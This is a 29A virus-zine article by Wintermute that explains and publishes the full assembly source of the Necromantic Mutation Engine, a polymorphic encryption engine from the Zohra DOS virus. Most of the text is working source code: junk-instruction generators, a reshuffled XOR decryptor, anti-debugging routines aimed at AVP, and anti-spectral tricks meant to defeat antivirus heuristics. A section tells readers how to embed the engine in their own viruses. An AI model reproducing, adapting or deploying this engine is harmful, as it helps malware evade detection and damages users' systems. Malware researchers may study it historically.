; ; . .: .:.. :.. .. .:.::. :. ..: ; <<-==млллллм=млллллм=млллллм===< ; .:: ллл ллл:ллл ллл.ллл ллл .:. ; . .:.мммллп.плллллл.ллллллл:.. ; ...лллмммм:ммммллл:ллл ллл.::. ; >===ллллллл=ллллллп=ллл ллл=->> ; .: .:.. ..:. .: ..:.::. ::.. :.:. ; ; лВБА The Necromantic Mutation Engine ( NME ) АБВл ; ; ( used in Zohra virus ) ; ; by Wintermute/29A ; ; ; When I started writing this article, I didn't know how to do it; the en- ; gine is full commented in my virus, Zohra, and besides has some things that ; make it nearly impossible to get it out from the virus. ; ; So, I've made a couple things in this article to make it interesting :) ; First, I'm explaining how it works, and how I made it; just thinking about ; it and wondering how would I do this and that ( hope that will help you ; writing your own poly engine if you haven't done one yet... ). After talk- ; ing about that, I'm giving some guidance about how to use the engine, be- ; cause it has some particularities :) ; ; ; 1.- How is this poly engine created ? ; ; What should a poly engine have ? A good poly engine shouldn't just make ; some crap instructions as "cli-sti-lahf-nop" and place them among real ins- ; tructions; a middle-interested user would easily detect something's going ; wrong in that file when he finds 15 useless one byte instructions, and then ; would detect it. So, a list with some instructions/opcodes was made, in or- ; der to use some more kinds of instructions. ; ; Zohra has five groups; one byte instructions, two byte ones, three, four ; bytes, and long routines. Long routines are anti-debugging or anti-spectral ; ones, for example. ; ; So, the idea was to put that instructions among the decryptor ones. That ; decryptor instructions are different in length; three, four bytes... so it ; would last some bytes checking each one and copying it. So, I divided the ; decryptor instructions block in six blocks respectively, which were formed ; by five bytes each one, this way: ; ; ; > mov bp,0200h ; > db 90h,90h ; variable ( junk gen ) ; ; > mov si,cs:word ptr [encryptvalue+bp] ; ; > mov cx,virus_size/2 ; > db 90h,90h ; variable ; ; > mov di,bp ; > db 90h,90h,90h ; variable ; ; > xor word ptr cs:[di],si ; > db 90h,90h ; variable ( again ! ) ; ; > inc di ; > inc di ; > loop loop_dec ; > db 90h ; variable ; ; ; As you see, there are "blanks" in the blocks; that means more fixed by- ; tes, but of course the instructions aren't placed this way on the engine: ; first thing the poly engine does is copying these instructions to a buffer ; in memory and filling the blanks with random bytes from the instruction ge- ; nerators; for example, if there were a three byte blank, the engine would ; fill it with a two byte instruction and a one byte instruction, or with a ; with a three byte instruction, etc. ; ; As you may see, done this there are still many fixed bytes, the real de- ; cryptor instructions. Any AVer could put in his hex searcher something like ; "F7????4D????4E" and easily detect it. ; ; So, next thing in the poly engine are some routines which change the de- ; cryptor instructions: randomly, SI is used instead of DI, the way to load ; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the ; three SI/DI/CX setting blocks are placed randomly on the decryptor ( it ; doesn't matter their order ). ; ; After making all the changes and setting the decryptor instructions block ; the poly starts working in a zone between the first and the second copy of ; the virus; when loading in memory, it makes this: copies the virus, then ; places a 512 byte buffer, and copies the virus again. The second copy never ; gets executed, it's encrypted by the first one, and the decryptor is made ; between them, so when copying to a file it will grow "512 bytes+virus"... ; ; So, ES:DI points to the 512 bytes buffer to write on it, and a random ge- ; nerator gets running, placing 1 to 4 byte instructions, long routines, or ; the decryptor instructions. Also, the engine checks some things; for exam- ; ple, divides by 6 the total size of the decryptor ( 512 bytes ) and checks ; this with the remaining decryptor instruction blocks, so all the instruc- ; tions are in the decryptor ( and not very near to each other ). Also checks ; the distance between the loop/jz and the xor at the end so it doesn't get ; out of range, and also checks the last bytes to finish the decryptor; for ; example, if there are only three bytes remaining of decryptor, the engine ; will put a three byte instruction, etc. ; ; Finally,... why using long routines ( as an antidebugging one ) ? To a- ; void one couple things. The antidebugging routine is especially made for ; AVP, which tries to decrypt the virus ( and makes it ! ;) because of its ; heuristic method, which fails when there are antidebugging routines and the ; virus isn't decrypted yet ( it decrypts viruses and searches for things li- ; ke mov ax,3d02h/int21h ) };) ; ; About the spectral routines, they're made for one of the analysis which ; antivirus software use to detect poly viruses; they watch the instructions ; in the decryptor, and if all of them seem to be generated by that engine, ; they'll detect the virus. Let's imagine, for example, the "Shitty Mutator" ; uses three one byte instructions to make junk. The antivirus software would ; have these instructions and watch the -e.g.- 256 byte decryptor; if all the ; instructions placed in there are the decryptor itself ones or the three ; different one byte ones, the antivirus tells us a SM based virus is there. ; The method used to avoid it is fairly simple: a check, after a conditional ; jump that is always executed, and then two junk random bytes :) ; ; ; 2.- How to use the engine in your own virus ( hey, you, at least give ; me some credits in it ! :) ; ; About the values you have to set; first, there's a defined value at the ; end of the engine called "encryptvalue" which is the number which will be ; used to encrypt the virus with xor encryption. First, you'll have to en- ; crypt the second copy of your virus, and put your word length encryption ; key into that value called "encryptvalue" ( which is used for the xor ). ; ; "Offset_second" is the virus_length plus 200h, the decryptor length; this ; way, the values changed are changed in the decryptor and not in the non-co- ; pied virus ( wonder why ? ) :-) ; ; "Virus_size" is your virus lenght in bytes. ; ; Of course, you can change the decryptor length, but be careful with that. ; That value is set on "restantes_poly", and is 200h normally; if you change ; this, divisions made by the engine to check if it has to put a decryptor ; instruction on the generator code will fail. So, if you're going to change ; the length, check also the divisions at the zone called "centro_poly" ( po- ; ly_center in spanish ). ; ; Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you; ; it's generated at the end of the first virus copy, just at "virus_size+0h", ; uhm... ah, and it supposes you to have another copy of the virus, of cour- ; se. Come on, it's so easy to get it working when somebody else has written ; it four you first ! ;PPP ; ; Ah, and finally... you'll have to copy the decryptor instructions block ; at the first bytes of your TSR, at the first copy; the instructions in tho- ; se first bytes are useful, cause they're not copied even not executed, so ; they can be overwritten by the decryptor ones. ; ; ; *************************************************************************** ; THE NECROMANTIC MUTATION ENGINE ( NME ) ; *************************************************************************** ; The ants are in the sugar, the muscles atrophied ; This first part sets the decryptor variables ( loop pointer, remaining ;instructions and current instruction ) ; ; The loop pointer tells where to loop to make the xor "virus_size" ;times, remaining instructions is 200h-done_instructions, and current ;instruction is about which of the six decryptor instructions blocks has ;to be written next. go_here: mov word ptr [bytes_referencia],0h mov word ptr [restantes_poly],200h ; n.instr decryptor mov byte ptr [numero_instruccion],6h ; n.util instrs ; This first part of the poly engine fills the blanks of the six blocks ;( 5 bytes each ) in which the decryptor instructions are divided on with ;random instructions. As you see, three blanks can be filled with a three ;bytes instructions, with a two bytes one and a one byte one or with three ;one byte instructions push cs cs pop ds es mov di,3h mov cx,3 two_times: call aleatorio and ah,1 jz two_of_one call inst_2 jmp next_inst_gen two_of_one: call inst_1 inc di call inst_1 next_inst_gen: cmp di,0eh jnz @di0dh mov di,017h jmp @loopt @di0dh: mov di,0dh @loopt: loop two_times mov di,011h mov cx,2 two_times_otavez: call aleatorio and ah,1 jz unod1y1d2 and al,1 jz tresd1 call inst_3 jmp next_one_otave tresd1: call inst_1 inc di call inst_1 inc di call inst_1 jmp next_one_otave unod1y1d2: and al,1 jz unod2y1d1 call inst_1 inc di call inst_2 jmp next_one_otave unod2y1d1: call inst_2 inc di call inst_1 next_one_otave: mov di,01dh ; The last call inst_1 lea di,instrucciones xor si,si mov cx,instrsize rep movsb ; This part exchanges 50% times SI and DI registers, which are used in ;the decryptor instructions call aleatorio and ah,1 jz dontchangeem mov byte ptr [instrucciones+7h],0beh mov byte ptr [instrucciones+10h],0f5h mov word ptr [instrucciones+15h],03c31h mov word ptr [instrucciones+19h],04646h dontchangeem: ; Depending on a random value, CX is obtained by the normal way ( mov cx, ) ; or with a mov dx,register, mov cx,dx call aleatorio and ah,1 jz cx_acabado cbw and ah,1 jz siguiente_abajo mov byte ptr [instrucciones+0ah],0bbh mov word ptr [instrucciones+0dh],0d989h jmp cx_acabado siguiente_abajo: and al,1 jz cx_con_dx mov byte ptr [instrucciones+0ah],0b8h mov word ptr [instrucciones+0dh],0c189h jmp cx_acabado cx_con_dx: mov byte ptr [instrucciones+0ah],0bah mov word ptr [instrucciones+0dh],0d189h cx_acabado: ; To finish preparing the decrypting routine, we copy the instructions ;that modify SI, DI and CX, and put them randomly; the first time, I ;tried making this pushing and popping instructions... stack overflow ! :-o push dx mov byte ptr [variable_inst],00000111b mov cx,015d ; Copy the 15 bytes of the lea si,instrucciones+5 ;instructions to the uuencode lea di,buffer ;buffer ( unused ) push di rep movsb pop si ver_si_esta_hecho: mov al,byte ptr [variable_inst] mov dl,al ; Then, restore them in a or al,al ;random order jz acabado_pop_inst call aleatorio and ah,1 jz popfirst and al,1 jz popsecond and dl,100b ; First instruction ( five jz ver_si_esta_hecho ;bytes ) and byte ptr [variable_inst],11111011b lea di,instrucciones+0fh jmp popfivebytes popfirst: and dl,1b ; Second one jz ver_si_esta_hecho and byte ptr[variable_inst],011111110b lea di,instrucciones+0ah jmp popfivebytes popsecond: and dl,10b ; Third jz ver_si_esta_hecho and byte ptr[variable_inst],011111101b lea di,instrucciones+5h popfivebytes: mov cx,5d ; Replace rep movsb jmp ver_si_esta_hecho acabado_pop_inst: pop dx ; The modification of the instructions of the decryptor finishes here with ;all changes made: the originals are kept at the beggining of the virus in ;memory. The posible "final loop" exchange is made when writing the ;decryptor ; Here begins the main zone of the code generator; where it's decided ;what generator to use and random instructions are copied at the ;decryptor. mov di,virus_size+1 centro_poly: mov ax,word ptr [restantes_poly] ; Remaining mov cx,ax ;instructions number and cx,cx jnz sigamos_decriptor jmp acabamos_decryptor ; Checks if finished sigamos_decriptor: cmp cx,@getmcb-ant_debug jae @cont_decrr cmp byte ptr [numero_instruccion],1 jz @@call_decryptgen @cont_decrr: ; If we have 1, 2 or 3 bytes remaining dec cx jz @@call_inst_1 dec cx jz @@call_inst_2 dec cx jz @@call_inst_3 mov cx,55h ; Do we need to put one of the decryptor div cl ;instructions ? This is the div to change inc al ;if you change the decryptor length cmp byte ptr[numero_instruccion],al ja @@call_decryptgen cmp byte ptr[numero_instruccion],1 jnz @continuemos ; To avoid the loop from going mov ax,di ;out of range sub ax,word ptr [loop_site] cmp ax,70h jae @@call_decryptgen @continuemos: call aleatorio ; randomly, place 3 bytes instr, and ah,1 ;2, routine... jz @@trestipos and al,1 jz @@call_inst_4 @@call_inst_1: call inst_1 dec word ptr [restantes_poly] inc di jmp centro_poly @@call_inst_4: call inst_4 add di,4 sub word ptr [restantes_poly],4 jmp centro_poly @@trestipos: cbw and ah,1 jz @@inst_2odec and al,11b jz @@call_sub @@call_inst_3: call inst_3 add di,3 sub word ptr[restantes_poly],3 jmp centro_poly @@inst_2odec: and al,111b ; Low probability jnz @@call_inst_2 @@call_decryptgen: call gen_instruction jmp centro_poly @@call_inst_2: call inst_2 inc di sub word ptr[restantes_poly],2 @fix1: jmp centro_poly @@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug jb @fix1 call inst_5 add di,si sub word ptr[restantes_poly],si ; Long non fixed size jmp centro_poly ;routine acabamos_decryptor: ret instrsize equ instr_end-instr_start instr_start label byte ; Decryptor instructions list; divided into five-bytes blocks. instrucciones: mov bp,0200h db 90h,90h ; variable ( junk gen ) mov si,cs:word ptr [encryptvalue+bp] mov cx,virus_size/2 db 90h,90h mov di,bp db 90h,90h,90h loop_dec: xor word ptr cs:[di],si db 90h,90h inc di inc di loop loop_dec db 90h instr_end label byte ;******************************************* ; Decryptor values and data ;-------------------- Restantes_poly: dw 200h ; Remaining instructions counter Numero_instruccion: db 6 ; Instruction number num_aleat: dw 1250h ; Aleatory number counter variable_inst: db 7h ; 0111b loop_site: dw 0h ; Looping allocation Offset bytes_referencia: dw 0h ; Reference for instructions ; This returns a random number in AX after making some operations. aleatorio: mov ax,word ptr[num_aleat] call aleat2 aleat2: ror ax,5 ; The seed number is stablished in each add ax,1531h ;infection by the date, and modified push cx dx ax ;by the minutes ( but in AL, the less mov ah,2ch ;used, to contribute to the slow poly ) int 21h ;and hour. pop ax add ah,ch pop dx cx rol ax,1 neg ax sub ax,2311h ror ax,3 not ax mov word ptr[num_aleat],ax ret ; Instructions generators: the required instructions are generated and ;copied in ES:DI, which points to the decryptor in memory ; Main generator: copies a decryptor instruction in ES:DI, with special ;care for the final loop gen_instruction: mov al,byte ptr [numero_instruccion] and al,al jz @vasmosnos dec al jz @preparar_loop dec al jz @guardar_paraloop @gen_ya: dec byte ptr [numero_instruccion] lea si,instrucciones add si,word ptr [bytes_referencia] add word ptr [bytes_referencia],5h mov cx,5 ; copy the instruction rep movsb sub word ptr[restantes_poly],5h ; remaining instrs @vasmosnos: ret @guardar_paraloop: mov word ptr [loop_site],di jmp @gen_ya @preparar_loop: mov ax,0fch mov si,di mov cx,word ptr [loop_site] sub si,cx sub ax,si mov cx,word ptr[num_aleat] and cl,1 jz @make_a_jnz mov byte ptr [instrucciones+01ch],al jmp @gen_ya @make_a_jnz: mov word ptr [instrucciones+01bh],7549h dec ax mov byte ptr [instrucciones+01dh],al jmp @gen_ya ; Generator ----> One byte length instruction generator inst_1: call aleatorio and al,3h jnz @cont_a1 mov byte ptr es:[di],90h ret @cont_a1: and ah,1 jz @cont_a2 call aleatorio and ah,1h jz @cont_a2_2 and al,1h jz @cont_a2_1_1 call aleatorio and al,1h jz @cont_a2_2_1 mov byte ptr es:[di],42h ; inc dx ret @cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx ret @cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax ret @cont_a2_2: call aleatorio and al,1h jnz @cont_a2_2_2 mov byte ptr es:[di],48h ; dec ax ret @cont_a2_2_2: and ah,1h jz @cont_a2_2_2_2 mov byte ptr es:[di],4bh ; dec bx ret @cont_a2_2_2_2: and al,1h mov byte ptr es:[di],4ah ; dec dx ret @cont_a2: call aleatorio and al,3h jz @cont_a2_11 and ah,3h jz @cont_a2_12 call aleatorio and al,3h jz @cont_a2_2_11 and ah,3h jz @cont_a2_2_12 call aleatorio and al,1 jz @cont_a2_2_13 mov byte ptr es:[di],0cch ; int 3h ret @cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf ret @cont_a2_2_12: mov byte ptr es:[di],99h ; cwd ret @cont_a2_2_13: mov byte ptr es:[di],98h ; cbw ret @cont_a2_11: mov byte ptr es:[di],0F9h ; stc ret @cont_a2_12: mov byte ptr es:[di],0F8h ; clc ret ; Generator ----> Two byte length instructions inst_2: call aleatorio and ah,1h jz @cont_sub cbw and ah,1h jz sigunvm jmp @cont_xor sigunvm: jmp @cont_mul @cont_sub: mov byte ptr es:[di],2bh inc di cbw and al,1 jz @cont_bsub_ax and ah,1 jz @cont_bsub_dx call aleatorio and ah,1 jz @cont_bsub_bx_dxdisi and al,1 jz @cont_bsub_bx_cx mov byte ptr es:[di],0d8h ; sub bx,ax ret @cont_bsub_bx_cx: mov byte ptr es:[di],0d9h ; sub bx,cx ret @cont_bsub_bx_dxdisi: cbw and ah,1 jz @cont_bsub_bx_dx and al,1 jz @cont_bsub_bx_di mov byte ptr es:[di],0deh ; sub bx,si ret @cont_bsub_bx_di: mov byte ptr es:[di],0dfh ; sub bx,di ret @cont_bsub_bx_dx: mov byte ptr es:[di],0dah ; sub bx,dx ret @cont_bsub_ax: call aleatorio and ah,1 jz @cont_bsub_ax_dxdisi and al,1 jz @cont_bsub_ax_cx mov byte ptr es:[di],0c3h ; sub ax,bx ret @cont_bsub_ax_cx: mov byte ptr es:[di],0c1h ; sub ax,cx ret @cont_bsub_ax_dxdisi: cbw and ah,1 jz @cont_bsub_ax_dx and al,1 jz @cont_bsub_ax_di mov byte ptr es:[di],0c6h ; sub ax,si ret @cont_bsub_ax_di: mov byte ptr es:[di],0c7h ; sub ax,di ret @cont_bsub_ax_dx: mov byte ptr es:[di],0c2h ; sub ax,dx ret @cont_bsub_dx: call aleatorio and ah,1 jz @cont_bsub_dx_sidicx and al,1 jz @cont_bsub_dx_bx mov byte ptr es:[di],0d0h ; sub dx,ax ret @cont_bsub_dx_bx: mov byte ptr es:[di],0d3h ; sub dx,bx ret @cont_bsub_dx_sidicx: cbw and ah,1 jz @cont_bsub_dx_cx and al,1 jz @cont_bsub_dx_di mov byte ptr es:[di],0d6h ; sub dx,si ret @cont_bsub_dx_di: mov byte ptr es:[di],0d7h ; sub dx,di ret @cont_bsub_dx_cx: mov byte ptr es:[di],0d1h ; sub dx,cx ret @cont_xor: mov byte ptr es:[di],033h inc di call aleatorio and ah,1 jz @cont_xor_4last cbw and ah,1 jz @cont_xor_34 and al,1 jz @cont_xor_2 mov byte ptr es:[di],0c0h ; xor ax,ax ret @cont_xor_2: mov byte ptr es:[di],0c3h ; xor ax,bx ret @cont_xor_34: and al,1 jz @cont_xor_4 mov byte ptr es:[di],0c2h ; xor ax,dx ret @cont_xor_4: mov byte ptr es:[di],0dbh ; xor bx,bx ret @cont_xor_4last: cbw and ah,1 jz @cont_xor_78 and al,1 jz @cont_xor_6 mov byte ptr es:[di],0d8h ; xor bx,ax ret @cont_xor_6: mov byte ptr es:[di],0dah ; xor bx,dx ret @cont_xor_78: and al,1 jz @cont_xor_8 mov byte ptr es:[di],0d2h ; xor dx,dx ret @cont_xor_8: mov byte ptr es:[di],0d0h ; xor dx,ax ret @cont_mul: mov byte ptr es:[di],0f7h inc di call aleatorio and ah,1 jz @cont_divmul_34 and al,1 jz @cont_divmul_2 mov byte ptr es:[di],0e3h ; mul bx ret @cont_divmul_2: mov byte ptr es:[di],0e1h ; mul cx ret @cont_divmul_34: and al,1 jz @cont_divmul_4 mov byte ptr es:[di],0e6h ; mul si ret @cont_divmul_4: mov byte ptr es:[di],0e7h ; mul di ret ; Generator ----> Three byte long instructions inst_3: call aleatorio mov si,ax inc si ; We don't want a 0ffffh jz inst_3 dec si and ah,1 jz @add_or_sub_ax and al,1 jz @mov_dx_inm mov byte ptr es:[di],0bbh ; mov bx,reg mov word ptr es:[di+1],si ret @mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg mov word ptr es:[di+1],si ret @add_or_sub_ax: and al,1 jz @mov_mem_ax mov byte ptr es:[di],05h ; add ax,reg mov word ptr es:[di+1],si ret @mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem mov word ptr es:[di+1],si ret ; Generator ----> Four bytes instructions inst_4: call aleatorio mov si,ax inc si jz inst_4 dec si and ah,1 jz @q_seg_parte cbw and ah,1 jz @q_movdxobx and al,1 jz @q_subbxfuck mov word ptr es:[di],019b4h ; Get drive function mov word ptr es:[di+2],021cdh ret @q_subbxfuck: mov word ptr es:[di],0eb81h mov word ptr es:[di+2],si ret @q_movdxobx: and al,1 jz @q_movdx_mem mov word ptr es:[di],01e8bh mov word ptr es:[di+2],si ret @q_movdx_mem: mov word ptr es:[di],0168bh mov word ptr es:[di+2],si ret @q_seg_parte: cbw and ah,1 jz @q_seg_sub mov word ptr es:[di],0c281h mov word ptr es:[di+2],si and al,1 jz @nosvamos_4 inc byte ptr es:[di+1] @nosvamos_4: ret @q_seg_sub: mov word ptr es:[di],0ea81h mov word ptr es:[di+2],si and al,1 jz @nosvamos_41 inc word ptr es:[di+1] @nosvamos_41: ret ; Generator ----> More than 4 bytes routines inst_5: call aleatorio ; Anti-spectral routine, and ah,1 ;generates a random value jz @c_seg_parte ;after a cmp ax,ax/jz xxx and al,1 ;that will never be executed: jz @c_seg_prim ;"spectral" is a way of mov word ptr es:[di],0c033h ;finding polymorphic viruses mov word ptr es:[di+2],0274h;that checks for instructions call aleatorio ;that aren't in the poly mov word ptr es:[di+4],ax ;engine; if the instructions mov si,06h ;are all of a fixed range, ret ;the spectral identifies the ;poly engine. @c_seg_prim: mov word ptr es:[di],0f7fah ; Antidebugging routine mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp, mov word ptr es:[di+4],0fbdch ; sti ) mov si,06h ret @c_seg_parte: and al,1 jz @c_seg_seg ; Anti-spectral mov word ptr es:[di],0ffb8h ; mov ax,0ffffh mov word ptr es:[di+2],040ffh ; inc ax mov word ptr es:[di+4],0274h ; jz seguimos call aleatorio ; ( 2 crap bytes ) mov word ptr es:[di+6],ax mov si,08h ret @c_seg_seg: lea si,ant_debug ; Antidebugging, the routine mov cx,@getmcb-ant_debug ;placed near the beggining push cx ;of Zohra rep movsb pop si sub di,si ret random_number: ret encryptvalue: dw 0ffh wintermute: db 'The Necromantic Mutation Engine by Wintermute/29A',0